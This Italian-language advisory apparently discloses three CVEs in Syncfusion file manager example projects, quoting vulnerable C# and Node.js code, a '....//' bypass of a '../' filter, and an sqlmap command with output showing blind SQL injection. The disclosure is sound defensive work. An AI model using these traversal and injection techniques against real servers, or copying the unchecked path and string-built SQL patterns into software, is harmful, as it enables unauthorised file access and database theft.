
Exploit proof-of-concept per tre vulnerabilità nei file manager Syncfusion: directory traversal che porta a lettura/scrittura/eliminazione arbitraria di file e iniezione SQL nel provider SQL Server.
Il vendor ha apparentemente risolto tutte le vulnerabilità dettagliate a partire dalle versioni rilasciate dopo il 2024. Ruptura InfoSecurity non ha verificato che queste correzioni siano complete. Vedere i commenti del vendor su https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1.
Repository interessato: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Versioni vulnerabili precedenti al commit Git 7c8791084ff86d4a2c225756c490591f6e011a6c
L'applicazione non verifica alcun percorso fornito dall'utente. Di conseguenza, è possibile specificare sequenze di directory traversal ("../") per elencare file in qualsiasi directory, leggere qualsiasi file locale, caricare qualsiasi file ovunque sul server ed eliminare qualsiasi file sul server.
Nel repository ASP Core, la maggior parte delle funzionalità effettive è implementata in Models/PhysicalFileProvider.cs.
Nel caso del download, il parametro names viene preso direttamente dall'input dell'utente nella richiesta.
public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
{
try
{
string physicalPath = GetPath(path);
String extension;
int count = 0;
...
if (names.Length > 1)
DownloadZip(path, names);
if (count == names.Length)
{
DownloadFile(path, names);
}
Questo percorso viene poi utilizzato direttamente all'interno della funzione Path.combine.
protected virtual void DownloadFile(string path, string[] names = null)
{
if (!string.IsNullOrEmpty(path))
{
try
{
path = (Path.Combine(contentRootPath + path, names[0]));
HttpResponse response = HttpContext.Current.Response;
response.Buffer = true;
response.Clear();
response.ContentType = "APPLICATION/octet-stream";
string extension = System.IO.Path.GetExtension(path);
response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
response.WriteFile(path);
response.Flush();
response.End();
}
catch (Exception ex) { throw ex; }
}
else throw new ArgumentNullException("name should not be null");
}
Nella maggior parte degli endpoint, hanno tentato di correggere questo problema rimuovendo ../, ma questo può essere facilmente bypassato utilizzando qualcosa come ....//, che dopo .replace("../", ""), restituirà il ../ originale.
Repository interessato: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Versioni vulnerabili precedenti al commit Git 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6
Sebbene l'applicazione contenga una regex per bloccare le sequenze di directory traversal, lo fa solo a volte. Di conseguenza:
Nel repository Node, tutte le funzionalità sono offerte all'interno di un singolo file: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js
Per il download dei file, la causa principale è piuttosto autoesplicativa: l'applicazione si fida dell'input dell'utente quando concatena i percorsi dei file:
/**
* Download a file or folder
*/
app.post('/Download', function (req, res) {
replaceRequestParams(req, res);
var downloadObj = JSON.parse(req.body.downloadInput);
var permission; var permissionDenied = false;
downloadObj.data.forEach(function (item) {
var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
if (permission != null && (!permission.read || !permission.download)) {
permissionDenied = true;
var errorMsg = new Error();
errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
errorMsg.code = "401";
response = { error: errorMsg };
response = JSON.stringify(response);
res.setHeader('Content-Type', 'application/json');
res.json(response);
}
});
if (!permissionDenied) {
if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
var file = contentRootPath + downloadObj.path + downloadObj.names[0];
res.download(file);
} else {
var archive = archiver('zip', {
gzip: true,
zlib: { level: 9 } // Sets the compression level.
});
var output = fs.createWriteStream('./Files.zip');
downloadObj.data.forEach(function (item) {
archive.on('error', function (err) {
throw err;
});
if (item.isFile) {
archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
}
else {
archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
}
});
Repository interessato: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Versioni vulnerabili precedenti al commit Git d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6
Nel repository SQL Server, la maggior parte delle funzionalità effettive è implementata in Models/SQLFileProvider.cs.
L'SQL injection è abbastanza standard e frequente all'interno del repository interessato e può essere sfruttata con un semplice comando sqlmap:
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:31:52 /2023-04-03/
[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
Esempi di frammenti di codice vulnerabili:
try
{
SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
try
{
SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}
L'SQL injection comporta l'accesso completo in lettura al database, per quanto riguarda le autorizzazioni configurate per l'account utente.